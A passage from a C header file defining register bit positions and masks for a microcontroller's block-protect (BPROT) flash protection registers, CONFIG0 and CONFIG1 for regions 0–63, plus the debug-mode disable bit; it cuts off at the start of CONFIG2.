/* Bits 31..0 : Pointer to a scratch data area used for temporary storage during resolution.A space of minimum 3 bytes must be reserved. */
#define AAR_SCRATCHPTR_SCRATCHPTR_Pos (0UL) /*!< Position of SCRATCHPTR field. */
#define AAR_SCRATCHPTR_SCRATCHPTR_Msk (0xFFFFFFFFUL << AAR_SCRATCHPTR_SCRATCHPTR_Pos) /*!< Bit mask of SCRATCHPTR field. */
/* Peripheral: BPROT */
/* Description: Block Protect */
/* Register: BPROT_CONFIG0 */
/* Description: Block protect configuration register 0 */
/* Bit 31 : Enable protection for region 31. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION31_Pos (31UL) /*!< Position of REGION31 field. */
#define BPROT_CONFIG0_REGION31_Msk (0x1UL << BPROT_CONFIG0_REGION31_Pos) /*!< Bit mask of REGION31 field. */
#define BPROT_CONFIG0_REGION31_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION31_Enabled (1UL) /*!< Protection enable */
/* Bit 30 : Enable protection for region 30. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION30_Pos (30UL) /*!< Position of REGION30 field. */
#define BPROT_CONFIG0_REGION30_Msk (0x1UL << BPROT_CONFIG0_REGION30_Pos) /*!< Bit mask of REGION30 field. */
#define BPROT_CONFIG0_REGION30_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION30_Enabled (1UL) /*!< Protection enable */
/* Bit 29 : Enable protection for region 29. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION29_Pos (29UL) /*!< Position of REGION29 field. */
#define BPROT_CONFIG0_REGION29_Msk (0x1UL << BPROT_CONFIG0_REGION29_Pos) /*!< Bit mask of REGION29 field. */
#define BPROT_CONFIG0_REGION29_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION29_Enabled (1UL) /*!< Protection enable */
/* Bit 28 : Enable protection for region 28. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION28_Pos (28UL) /*!< Position of REGION28 field. */
#define BPROT_CONFIG0_REGION28_Msk (0x1UL << BPROT_CONFIG0_REGION28_Pos) /*!< Bit mask of REGION28 field. */
#define BPROT_CONFIG0_REGION28_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION28_Enabled (1UL) /*!< Protection enable */
/* Bit 27 : Enable protection for region 27. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION27_Pos (27UL) /*!< Position of REGION27 field. */
#define BPROT_CONFIG0_REGION27_Msk (0x1UL << BPROT_CONFIG0_REGION27_Pos) /*!< Bit mask of REGION27 field. */
#define BPROT_CONFIG0_REGION27_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION27_Enabled (1UL) /*!< Protection enable */
/* Bit 26 : Enable protection for region 26. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION26_Pos (26UL) /*!< Position of REGION26 field. */
#define BPROT_CONFIG0_REGION26_Msk (0x1UL << BPROT_CONFIG0_REGION26_Pos) /*!< Bit mask of REGION26 field. */
#define BPROT_CONFIG0_REGION26_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION26_Enabled (1UL) /*!< Protection enable */
/* Bit 25 : Enable protection for region 25. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION25_Pos (25UL) /*!< Position of REGION25 field. */
#define BPROT_CONFIG0_REGION25_Msk (0x1UL << BPROT_CONFIG0_REGION25_Pos) /*!< Bit mask of REGION25 field. */
#define BPROT_CONFIG0_REGION25_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION25_Enabled (1UL) /*!< Protection enable */
/* Bit 24 : Enable protection for region 24. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION24_Pos (24UL) /*!< Position of REGION24 field. */
#define BPROT_CONFIG0_REGION24_Msk (0x1UL << BPROT_CONFIG0_REGION24_Pos) /*!< Bit mask of REGION24 field. */
#define BPROT_CONFIG0_REGION24_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION24_Enabled (1UL) /*!< Protection enable */
/* Bit 23 : Enable protection for region 23. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION23_Pos (23UL) /*!< Position of REGION23 field. */
#define BPROT_CONFIG0_REGION23_Msk (0x1UL << BPROT_CONFIG0_REGION23_Pos) /*!< Bit mask of REGION23 field. */
#define BPROT_CONFIG0_REGION23_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION23_Enabled (1UL) /*!< Protection enable */
/* Bit 22 : Enable protection for region 22. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION22_Pos (22UL) /*!< Position of REGION22 field. */
#define BPROT_CONFIG0_REGION22_Msk (0x1UL << BPROT_CONFIG0_REGION22_Pos) /*!< Bit mask of REGION22 field. */
#define BPROT_CONFIG0_REGION22_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION22_Enabled (1UL) /*!< Protection enable */
/* Bit 21 : Enable protection for region 21. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION21_Pos (21UL) /*!< Position of REGION21 field. */
#define BPROT_CONFIG0_REGION21_Msk (0x1UL << BPROT_CONFIG0_REGION21_Pos) /*!< Bit mask of REGION21 field. */
#define BPROT_CONFIG0_REGION21_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION21_Enabled (1UL) /*!< Protection enable */
/* Bit 20 : Enable protection for region 20. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION20_Pos (20UL) /*!< Position of REGION20 field. */
#define BPROT_CONFIG0_REGION20_Msk (0x1UL << BPROT_CONFIG0_REGION20_Pos) /*!< Bit mask of REGION20 field. */
#define BPROT_CONFIG0_REGION20_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION20_Enabled (1UL) /*!< Protection enable */
/* Bit 19 : Enable protection for region 19. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION19_Pos (19UL) /*!< Position of REGION19 field. */
#define BPROT_CONFIG0_REGION19_Msk (0x1UL << BPROT_CONFIG0_REGION19_Pos) /*!< Bit mask of REGION19 field. */
#define BPROT_CONFIG0_REGION19_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION19_Enabled (1UL) /*!< Protection enable */
/* Bit 18 : Enable protection for region 18. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION18_Pos (18UL) /*!< Position of REGION18 field. */
#define BPROT_CONFIG0_REGION18_Msk (0x1UL << BPROT_CONFIG0_REGION18_Pos) /*!< Bit mask of REGION18 field. */
#define BPROT_CONFIG0_REGION18_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION18_Enabled (1UL) /*!< Protection enable */
/* Bit 17 : Enable protection for region 17. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION17_Pos (17UL) /*!< Position of REGION17 field. */
#define BPROT_CONFIG0_REGION17_Msk (0x1UL << BPROT_CONFIG0_REGION17_Pos) /*!< Bit mask of REGION17 field. */
#define BPROT_CONFIG0_REGION17_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION17_Enabled (1UL) /*!< Protection enable */
/* Bit 16 : Enable protection for region 16. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION16_Pos (16UL) /*!< Position of REGION16 field. */
#define BPROT_CONFIG0_REGION16_Msk (0x1UL << BPROT_CONFIG0_REGION16_Pos) /*!< Bit mask of REGION16 field. */
#define BPROT_CONFIG0_REGION16_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION16_Enabled (1UL) /*!< Protection enable */
/* Bit 15 : Enable protection for region 15. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION15_Pos (15UL) /*!< Position of REGION15 field. */
#define BPROT_CONFIG0_REGION15_Msk (0x1UL << BPROT_CONFIG0_REGION15_Pos) /*!< Bit mask of REGION15 field. */
#define BPROT_CONFIG0_REGION15_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION15_Enabled (1UL) /*!< Protection enable */
/* Bit 14 : Enable protection for region 14. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION14_Pos (14UL) /*!< Position of REGION14 field. */
#define BPROT_CONFIG0_REGION14_Msk (0x1UL << BPROT_CONFIG0_REGION14_Pos) /*!< Bit mask of REGION14 field. */
#define BPROT_CONFIG0_REGION14_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION14_Enabled (1UL) /*!< Protection enable */
/* Bit 13 : Enable protection for region 13. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION13_Pos (13UL) /*!< Position of REGION13 field. */
#define BPROT_CONFIG0_REGION13_Msk (0x1UL << BPROT_CONFIG0_REGION13_Pos) /*!< Bit mask of REGION13 field. */
#define BPROT_CONFIG0_REGION13_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION13_Enabled (1UL) /*!< Protection enable */
/* Bit 12 : Enable protection for region 12. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION12_Pos (12UL) /*!< Position of REGION12 field. */
#define BPROT_CONFIG0_REGION12_Msk (0x1UL << BPROT_CONFIG0_REGION12_Pos) /*!< Bit mask of REGION12 field. */
#define BPROT_CONFIG0_REGION12_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION12_Enabled (1UL) /*!< Protection enable */
/* Bit 11 : Enable protection for region 11. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION11_Pos (11UL) /*!< Position of REGION11 field. */
#define BPROT_CONFIG0_REGION11_Msk (0x1UL << BPROT_CONFIG0_REGION11_Pos) /*!< Bit mask of REGION11 field. */
#define BPROT_CONFIG0_REGION11_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION11_Enabled (1UL) /*!< Protection enable */
/* Bit 10 : Enable protection for region 10. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION10_Pos (10UL) /*!< Position of REGION10 field. */
#define BPROT_CONFIG0_REGION10_Msk (0x1UL << BPROT_CONFIG0_REGION10_Pos) /*!< Bit mask of REGION10 field. */
#define BPROT_CONFIG0_REGION10_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION10_Enabled (1UL) /*!< Protection enable */
/* Bit 9 : Enable protection for region 9. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION9_Pos (9UL) /*!< Position of REGION9 field. */
#define BPROT_CONFIG0_REGION9_Msk (0x1UL << BPROT_CONFIG0_REGION9_Pos) /*!< Bit mask of REGION9 field. */
#define BPROT_CONFIG0_REGION9_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION9_Enabled (1UL) /*!< Protection enable */
/* Bit 8 : Enable protection for region 8. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION8_Pos (8UL) /*!< Position of REGION8 field. */
#define BPROT_CONFIG0_REGION8_Msk (0x1UL << BPROT_CONFIG0_REGION8_Pos) /*!< Bit mask of REGION8 field. */
#define BPROT_CONFIG0_REGION8_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION8_Enabled (1UL) /*!< Protection enable */
/* Bit 7 : Enable protection for region 7. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION7_Pos (7UL) /*!< Position of REGION7 field. */
#define BPROT_CONFIG0_REGION7_Msk (0x1UL << BPROT_CONFIG0_REGION7_Pos) /*!< Bit mask of REGION7 field. */
#define BPROT_CONFIG0_REGION7_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION7_Enabled (1UL) /*!< Protection enable */
/* Bit 6 : Enable protection for region 6. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION6_Pos (6UL) /*!< Position of REGION6 field. */
#define BPROT_CONFIG0_REGION6_Msk (0x1UL << BPROT_CONFIG0_REGION6_Pos) /*!< Bit mask of REGION6 field. */
#define BPROT_CONFIG0_REGION6_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION6_Enabled (1UL) /*!< Protection enable */
/* Bit 5 : Enable protection for region 5. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION5_Pos (5UL) /*!< Position of REGION5 field. */
#define BPROT_CONFIG0_REGION5_Msk (0x1UL << BPROT_CONFIG0_REGION5_Pos) /*!< Bit mask of REGION5 field. */
#define BPROT_CONFIG0_REGION5_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION5_Enabled (1UL) /*!< Protection enable */
/* Bit 4 : Enable protection for region 4. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION4_Pos (4UL) /*!< Position of REGION4 field. */
#define BPROT_CONFIG0_REGION4_Msk (0x1UL << BPROT_CONFIG0_REGION4_Pos) /*!< Bit mask of REGION4 field. */
#define BPROT_CONFIG0_REGION4_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION4_Enabled (1UL) /*!< Protection enable */
/* Bit 3 : Enable protection for region 3. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION3_Pos (3UL) /*!< Position of REGION3 field. */
#define BPROT_CONFIG0_REGION3_Msk (0x1UL << BPROT_CONFIG0_REGION3_Pos) /*!< Bit mask of REGION3 field. */
#define BPROT_CONFIG0_REGION3_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION3_Enabled (1UL) /*!< Protection enable */
/* Bit 2 : Enable protection for region 2. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION2_Pos (2UL) /*!< Position of REGION2 field. */
#define BPROT_CONFIG0_REGION2_Msk (0x1UL << BPROT_CONFIG0_REGION2_Pos) /*!< Bit mask of REGION2 field. */
#define BPROT_CONFIG0_REGION2_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION2_Enabled (1UL) /*!< Protection enable */
/* Bit 1 : Enable protection for region 1. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION1_Pos (1UL) /*!< Position of REGION1 field. */
#define BPROT_CONFIG0_REGION1_Msk (0x1UL << BPROT_CONFIG0_REGION1_Pos) /*!< Bit mask of REGION1 field. */
#define BPROT_CONFIG0_REGION1_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION1_Enabled (1UL) /*!< Protection enable */
/* Bit 0 : Enable protection for region 0. Write '0' has no effect. */
#define BPROT_CONFIG0_REGION0_Pos (0UL) /*!< Position of REGION0 field. */
#define BPROT_CONFIG0_REGION0_Msk (0x1UL << BPROT_CONFIG0_REGION0_Pos) /*!< Bit mask of REGION0 field. */
#define BPROT_CONFIG0_REGION0_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG0_REGION0_Enabled (1UL) /*!< Protection enable */
/* Register: BPROT_CONFIG1 */
/* Description: Block protect configuration register 1 */
/* Bit 31 : Enable protection for region 63. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION63_Pos (31UL) /*!< Position of REGION63 field. */
#define BPROT_CONFIG1_REGION63_Msk (0x1UL << BPROT_CONFIG1_REGION63_Pos) /*!< Bit mask of REGION63 field. */
#define BPROT_CONFIG1_REGION63_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION63_Enabled (1UL) /*!< Protection enabled */
/* Bit 30 : Enable protection for region 62. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION62_Pos (30UL) /*!< Position of REGION62 field. */
#define BPROT_CONFIG1_REGION62_Msk (0x1UL << BPROT_CONFIG1_REGION62_Pos) /*!< Bit mask of REGION62 field. */
#define BPROT_CONFIG1_REGION62_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION62_Enabled (1UL) /*!< Protection enabled */
/* Bit 29 : Enable protection for region 61. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION61_Pos (29UL) /*!< Position of REGION61 field. */
#define BPROT_CONFIG1_REGION61_Msk (0x1UL << BPROT_CONFIG1_REGION61_Pos) /*!< Bit mask of REGION61 field. */
#define BPROT_CONFIG1_REGION61_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION61_Enabled (1UL) /*!< Protection enabled */
/* Bit 28 : Enable protection for region 60. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION60_Pos (28UL) /*!< Position of REGION60 field. */
#define BPROT_CONFIG1_REGION60_Msk (0x1UL << BPROT_CONFIG1_REGION60_Pos) /*!< Bit mask of REGION60 field. */
#define BPROT_CONFIG1_REGION60_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION60_Enabled (1UL) /*!< Protection enabled */
/* Bit 27 : Enable protection for region 59. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION59_Pos (27UL) /*!< Position of REGION59 field. */
#define BPROT_CONFIG1_REGION59_Msk (0x1UL << BPROT_CONFIG1_REGION59_Pos) /*!< Bit mask of REGION59 field. */
#define BPROT_CONFIG1_REGION59_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION59_Enabled (1UL) /*!< Protection enabled */
/* Bit 26 : Enable protection for region 58. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION58_Pos (26UL) /*!< Position of REGION58 field. */
#define BPROT_CONFIG1_REGION58_Msk (0x1UL << BPROT_CONFIG1_REGION58_Pos) /*!< Bit mask of REGION58 field. */
#define BPROT_CONFIG1_REGION58_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION58_Enabled (1UL) /*!< Protection enabled */
/* Bit 25 : Enable protection for region 57. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION57_Pos (25UL) /*!< Position of REGION57 field. */
#define BPROT_CONFIG1_REGION57_Msk (0x1UL << BPROT_CONFIG1_REGION57_Pos) /*!< Bit mask of REGION57 field. */
#define BPROT_CONFIG1_REGION57_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION57_Enabled (1UL) /*!< Protection enabled */
/* Bit 24 : Enable protection for region 56. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION56_Pos (24UL) /*!< Position of REGION56 field. */
#define BPROT_CONFIG1_REGION56_Msk (0x1UL << BPROT_CONFIG1_REGION56_Pos) /*!< Bit mask of REGION56 field. */
#define BPROT_CONFIG1_REGION56_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION56_Enabled (1UL) /*!< Protection enabled */
/* Bit 23 : Enable protection for region 55. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION55_Pos (23UL) /*!< Position of REGION55 field. */
#define BPROT_CONFIG1_REGION55_Msk (0x1UL << BPROT_CONFIG1_REGION55_Pos) /*!< Bit mask of REGION55 field. */
#define BPROT_CONFIG1_REGION55_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION55_Enabled (1UL) /*!< Protection enabled */
/* Bit 22 : Enable protection for region 54. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION54_Pos (22UL) /*!< Position of REGION54 field. */
#define BPROT_CONFIG1_REGION54_Msk (0x1UL << BPROT_CONFIG1_REGION54_Pos) /*!< Bit mask of REGION54 field. */
#define BPROT_CONFIG1_REGION54_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION54_Enabled (1UL) /*!< Protection enabled */
/* Bit 21 : Enable protection for region 53. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION53_Pos (21UL) /*!< Position of REGION53 field. */
#define BPROT_CONFIG1_REGION53_Msk (0x1UL << BPROT_CONFIG1_REGION53_Pos) /*!< Bit mask of REGION53 field. */
#define BPROT_CONFIG1_REGION53_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION53_Enabled (1UL) /*!< Protection enabled */
/* Bit 20 : Enable protection for region 52. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION52_Pos (20UL) /*!< Position of REGION52 field. */
#define BPROT_CONFIG1_REGION52_Msk (0x1UL << BPROT_CONFIG1_REGION52_Pos) /*!< Bit mask of REGION52 field. */
#define BPROT_CONFIG1_REGION52_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION52_Enabled (1UL) /*!< Protection enabled */
/* Bit 19 : Enable protection for region 51. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION51_Pos (19UL) /*!< Position of REGION51 field. */
#define BPROT_CONFIG1_REGION51_Msk (0x1UL << BPROT_CONFIG1_REGION51_Pos) /*!< Bit mask of REGION51 field. */
#define BPROT_CONFIG1_REGION51_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION51_Enabled (1UL) /*!< Protection enabled */
/* Bit 18 : Enable protection for region 50. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION50_Pos (18UL) /*!< Position of REGION50 field. */
#define BPROT_CONFIG1_REGION50_Msk (0x1UL << BPROT_CONFIG1_REGION50_Pos) /*!< Bit mask of REGION50 field. */
#define BPROT_CONFIG1_REGION50_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION50_Enabled (1UL) /*!< Protection enabled */
/* Bit 17 : Enable protection for region 49. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION49_Pos (17UL) /*!< Position of REGION49 field. */
#define BPROT_CONFIG1_REGION49_Msk (0x1UL << BPROT_CONFIG1_REGION49_Pos) /*!< Bit mask of REGION49 field. */
#define BPROT_CONFIG1_REGION49_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION49_Enabled (1UL) /*!< Protection enabled */
/* Bit 16 : Enable protection for region 48. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION48_Pos (16UL) /*!< Position of REGION48 field. */
#define BPROT_CONFIG1_REGION48_Msk (0x1UL << BPROT_CONFIG1_REGION48_Pos) /*!< Bit mask of REGION48 field. */
#define BPROT_CONFIG1_REGION48_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION48_Enabled (1UL) /*!< Protection enabled */
/* Bit 15 : Enable protection for region 47. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION47_Pos (15UL) /*!< Position of REGION47 field. */
#define BPROT_CONFIG1_REGION47_Msk (0x1UL << BPROT_CONFIG1_REGION47_Pos) /*!< Bit mask of REGION47 field. */
#define BPROT_CONFIG1_REGION47_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION47_Enabled (1UL) /*!< Protection enabled */
/* Bit 14 : Enable protection for region 46. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION46_Pos (14UL) /*!< Position of REGION46 field. */
#define BPROT_CONFIG1_REGION46_Msk (0x1UL << BPROT_CONFIG1_REGION46_Pos) /*!< Bit mask of REGION46 field. */
#define BPROT_CONFIG1_REGION46_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION46_Enabled (1UL) /*!< Protection enabled */
/* Bit 13 : Enable protection for region 45. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION45_Pos (13UL) /*!< Position of REGION45 field. */
#define BPROT_CONFIG1_REGION45_Msk (0x1UL << BPROT_CONFIG1_REGION45_Pos) /*!< Bit mask of REGION45 field. */
#define BPROT_CONFIG1_REGION45_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION45_Enabled (1UL) /*!< Protection enabled */
/* Bit 12 : Enable protection for region 44. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION44_Pos (12UL) /*!< Position of REGION44 field. */
#define BPROT_CONFIG1_REGION44_Msk (0x1UL << BPROT_CONFIG1_REGION44_Pos) /*!< Bit mask of REGION44 field. */
#define BPROT_CONFIG1_REGION44_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION44_Enabled (1UL) /*!< Protection enabled */
/* Bit 11 : Enable protection for region 43. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION43_Pos (11UL) /*!< Position of REGION43 field. */
#define BPROT_CONFIG1_REGION43_Msk (0x1UL << BPROT_CONFIG1_REGION43_Pos) /*!< Bit mask of REGION43 field. */
#define BPROT_CONFIG1_REGION43_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION43_Enabled (1UL) /*!< Protection enabled */
/* Bit 10 : Enable protection for region 42. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION42_Pos (10UL) /*!< Position of REGION42 field. */
#define BPROT_CONFIG1_REGION42_Msk (0x1UL << BPROT_CONFIG1_REGION42_Pos) /*!< Bit mask of REGION42 field. */
#define BPROT_CONFIG1_REGION42_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION42_Enabled (1UL) /*!< Protection enabled */
/* Bit 9 : Enable protection for region 41. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION41_Pos (9UL) /*!< Position of REGION41 field. */
#define BPROT_CONFIG1_REGION41_Msk (0x1UL << BPROT_CONFIG1_REGION41_Pos) /*!< Bit mask of REGION41 field. */
#define BPROT_CONFIG1_REGION41_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION41_Enabled (1UL) /*!< Protection enabled */
/* Bit 8 : Enable protection for region 40. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION40_Pos (8UL) /*!< Position of REGION40 field. */
#define BPROT_CONFIG1_REGION40_Msk (0x1UL << BPROT_CONFIG1_REGION40_Pos) /*!< Bit mask of REGION40 field. */
#define BPROT_CONFIG1_REGION40_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION40_Enabled (1UL) /*!< Protection enabled */
/* Bit 7 : Enable protection for region 39. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION39_Pos (7UL) /*!< Position of REGION39 field. */
#define BPROT_CONFIG1_REGION39_Msk (0x1UL << BPROT_CONFIG1_REGION39_Pos) /*!< Bit mask of REGION39 field. */
#define BPROT_CONFIG1_REGION39_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION39_Enabled (1UL) /*!< Protection enabled */
/* Bit 6 : Enable protection for region 38. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION38_Pos (6UL) /*!< Position of REGION38 field. */
#define BPROT_CONFIG1_REGION38_Msk (0x1UL << BPROT_CONFIG1_REGION38_Pos) /*!< Bit mask of REGION38 field. */
#define BPROT_CONFIG1_REGION38_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION38_Enabled (1UL) /*!< Protection enabled */
/* Bit 5 : Enable protection for region 37. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION37_Pos (5UL) /*!< Position of REGION37 field. */
#define BPROT_CONFIG1_REGION37_Msk (0x1UL << BPROT_CONFIG1_REGION37_Pos) /*!< Bit mask of REGION37 field. */
#define BPROT_CONFIG1_REGION37_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION37_Enabled (1UL) /*!< Protection enabled */
/* Bit 4 : Enable protection for region 36. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION36_Pos (4UL) /*!< Position of REGION36 field. */
#define BPROT_CONFIG1_REGION36_Msk (0x1UL << BPROT_CONFIG1_REGION36_Pos) /*!< Bit mask of REGION36 field. */
#define BPROT_CONFIG1_REGION36_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION36_Enabled (1UL) /*!< Protection enabled */
/* Bit 3 : Enable protection for region 35. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION35_Pos (3UL) /*!< Position of REGION35 field. */
#define BPROT_CONFIG1_REGION35_Msk (0x1UL << BPROT_CONFIG1_REGION35_Pos) /*!< Bit mask of REGION35 field. */
#define BPROT_CONFIG1_REGION35_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION35_Enabled (1UL) /*!< Protection enabled */
/* Bit 2 : Enable protection for region 34. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION34_Pos (2UL) /*!< Position of REGION34 field. */
#define BPROT_CONFIG1_REGION34_Msk (0x1UL << BPROT_CONFIG1_REGION34_Pos) /*!< Bit mask of REGION34 field. */
#define BPROT_CONFIG1_REGION34_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION34_Enabled (1UL) /*!< Protection enabled */
/* Bit 1 : Enable protection for region 33. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION33_Pos (1UL) /*!< Position of REGION33 field. */
#define BPROT_CONFIG1_REGION33_Msk (0x1UL << BPROT_CONFIG1_REGION33_Pos) /*!< Bit mask of REGION33 field. */
#define BPROT_CONFIG1_REGION33_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION33_Enabled (1UL) /*!< Protection enabled */
/* Bit 0 : Enable protection for region 32. Write '0' has no effect. */
#define BPROT_CONFIG1_REGION32_Pos (0UL) /*!< Position of REGION32 field. */
#define BPROT_CONFIG1_REGION32_Msk (0x1UL << BPROT_CONFIG1_REGION32_Pos) /*!< Bit mask of REGION32 field. */
#define BPROT_CONFIG1_REGION32_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG1_REGION32_Enabled (1UL) /*!< Protection enabled */
/* Register: BPROT_DISABLEINDEBUG */
/* Description: Disable protection mechanism in debug interface mode */
/* Bit 0 : Disable the protection mechanism for NVM regions while in debug interface mode. This register will only disable the protection mechanism if the device is in debug interface mode. */
#define BPROT_DISABLEINDEBUG_DISABLEINDEBUG_Pos (0UL) /*!< Position of DISABLEINDEBUG field. */
#define BPROT_DISABLEINDEBUG_DISABLEINDEBUG_Msk (0x1UL << BPROT_DISABLEINDEBUG_DISABLEINDEBUG_Pos) /*!< Bit mask of DISABLEINDEBUG field. */
#define BPROT_DISABLEINDEBUG_DISABLEINDEBUG_Enabled (0UL) /*!< Enable in debug */
#define BPROT_DISABLEINDEBUG_DISABLEINDEBUG_Disabled (1UL) /*!< Disable in debug */
/* Register: BPROT_CONFIG2 */
/* Description: Block protect configuration register 2 */
/* Bit 31 : Enable protection for region 95. Write '0' has no effect. */
